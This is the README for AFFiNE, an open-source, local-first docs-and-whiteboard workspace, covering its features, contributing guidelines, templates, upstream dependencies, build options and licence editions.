A true canvas for blocks in any form. Docs and whiteboard are now fully merged.
- Many editor apps claim to be a canvas for productivity, but AFFiNE is one of the very few which allows you to put any building block on an edgeless canvas -- rich text, sticky notes, any embedded web pages, multi-view databases, linked pages, shapes and even slides. We have it all.
Multimodal AI partner ready to kick in any work
- Write up professional work report? Turn an outline into expressive and presentable slides? Summary an article into a well-structured mindmap? Sorting your job plan and backlog for tasks? Or... draw and code prototype apps and web pages directly all with one prompt? With you, AFFiNE AI pushes your creativity to the edge of your imagination, just like Canvas AI to generate mind map for brainstorming.
Local-first & Real-time collaborative
- We love the idea of local-first that you always own your data on your disk, in spite of the cloud. Furthermore, AFFiNE supports real-time sync and collaborations on web and cross-platform clients.
Self-host & Shape your own AFFiNE
- You have the freedom to manage, self-host, fork and build your own AFFiNE. Plugin community and third-party blocks are coming soon. More tractions on Blocksuite. Check there to learn how to self-host AFFiNE.
Acknowledgement
“We shape our tools and thereafter our tools shape us”. A lot of pioneers have inspired us along the way, e.g.:
- Quip & Notion with their great concept of “everything is a block”
- Trello with their Kanban
- Airtable & Miro with their no-code programmable datasheets
- Miro & Whimiscal with their edgeless visual whiteboard
- Remote & Capacities with their object-based tag system
There is a large overlap of their atomic “building blocks” between these apps. They are not open source, nor do they have a plugin system like Vscode for contributors to customize. We want to have something that contains all the features we love and also goes one step even further.
Thanks for checking us out, we appreciate your interest and sincerely hope that AFFiNE resonates with you! 🎵 Checking https://affine.pro/ for more details ions.
Contributing
| Bug Reports | Feature Requests | Questions/Discussions | AFFiNE Community |
|---|---|---|---|
| Create a bug report | Submit a feature request | Check GitHub Discussion | Visit the AFFiNE's Discord |
| Something isn't working as expected | An idea for a new feature, or improvements | Discuss and ask questions | A place to ask, learn and engage with others |
Calling all developers, testers, tech writers and more! Contributions of all types are more than welcome, you can read more in docs/types-of-contributions.md. If you are interested in contributing code, read our docs/CONTRIBUTING.md and feel free to check out our GitHub issues to get stuck in to show us what you’re made of.
Before you start contributing, please sign our Contributor License Agreement — it takes less than a minute with your GitHub account. Pull requests cannot be merged until every committer has signed (the license/cla check on your PR). Full text: CLA.md.
For bug reports, feature requests and other suggestions you can also create a new issue and choose the most appropriate template for your feedback.
For translation and language support you can visit our Discord.
If you have questions, you are welcome to contact us. One of the best places to get more info and learn more is in the Discord where you can engage with other like-minded individuals.
Templates
AFFiNE now provides pre-built templates from our team. Following are the Top 10 most popular templates among AFFiNE users,if you want to contribute, you can contribute your own template so other people can use it too.
- vision board template
- one pager template
- sample lesson plan math template
- grr lesson plan template free
- free editable lesson plan template for pre k
- high note collection planners
- digital planner
- ADHD Planner
- Reading Log
- Cornell Notes Template
Blog
Welcome to the AFFiNE blog section! Here, you’ll find the latest insights, tips, and guides on how to maximize your experience with AFFiNE and AFFiNE AI, the leading Canvas AI tool for flexible note-taking and creative organization.
- vision board template
- ai homework helper
- vision board maker
- itinerary template
- one pager template
- cornell notes template
- swot chart template
- apps like luna task
- note taking ai from rough notes to mind map
- canvas ai
- one pager
- SOP Template
- Chore Chart
Ecosystem
| Name | ||
|---|---|---|
| @affine/component | AFFiNE Component Resources | |
| @toeverything/theme | AFFiNE theme |
Upstreams
We would also like to give thanks to open-source projects that make AFFiNE possible:
-
Blocksuite - 💠 BlockSuite is the open-source collaborative editor project behind AFFiNE.
-
y-octo - 🐙 y-octo is a native, high-performance, thread-safe YJS CRDT implementation, serving as the core engine enabling the AFFiNE Client/Server to achieve "local-first" functionality.
-
OctoBase - 🐙 OctoBase is the open-source database behind AFFiNE, local-first, yet collaborative. A light-weight, scalable, data engine written in Rust.
-
yjs - Fundamental support of CRDTs for our implementation on state management and data sync on web.
-
electron - Build cross-platform desktop apps with JavaScript, HTML, and CSS.
-
React - The library for web and native user interfaces.
-
napi-rs - A framework for building compiled Node.js add-ons in Rust via Node-API.
-
Jotai - Primitive and flexible state management for React.
-
async-call-rpc - A lightweight JSON RPC client & server.
-
Vite - Next generation frontend tooling.
-
Other upstream dependencies.
Thanks a lot to the community for providing such powerful and simple libraries, so that we can focus more on the implementation of the product logic, and we hope that in the future our projects will also provide a more easy-to-use knowledge base for everyone.
Contributors
We would like to express our gratitude to all the individuals who have already contributed to AFFiNE! If you have any AFFiNE-related project, documentation, tool or template, please feel free to contribute it by submitting a pull request to our curated list on GitHub: awesome-affine.
Self-Host
Begin with Docker to deploy your own feature-rich, unrestricted version of AFFiNE. Our team is diligently updating to the latest version. For more information on how to self-host AFFiNE, please refer to our documentation.
Feature Request
For feature requests, please see discussions.
Building
Codespaces
From the GitHub repo main page, click the green "Code" button and select "Create codespace on master". This will open a new Codespace with the (supposedly auto-forked AFFiNE repo cloned, built, and ready to go).
Local
See BUILDING.md for instructions on how to build AFFiNE from source code.
Contributing
We welcome contributions from everyone. See docs/contributing/tutorial.md for details.
License
Editions
-
AFFiNE Community Edition (CE) is the current available version, it's free for self-host under the MIT license.
-
AFFiNE Enterprise Edition (EE) is yet to be published, it will have more advanced features and enterprise-oriented offerings, including but not exclusive to rebranding and SSO, advanced admin and audit, etc., you may refer to https://affine.pro/pricing for more information
See LICENSE for details.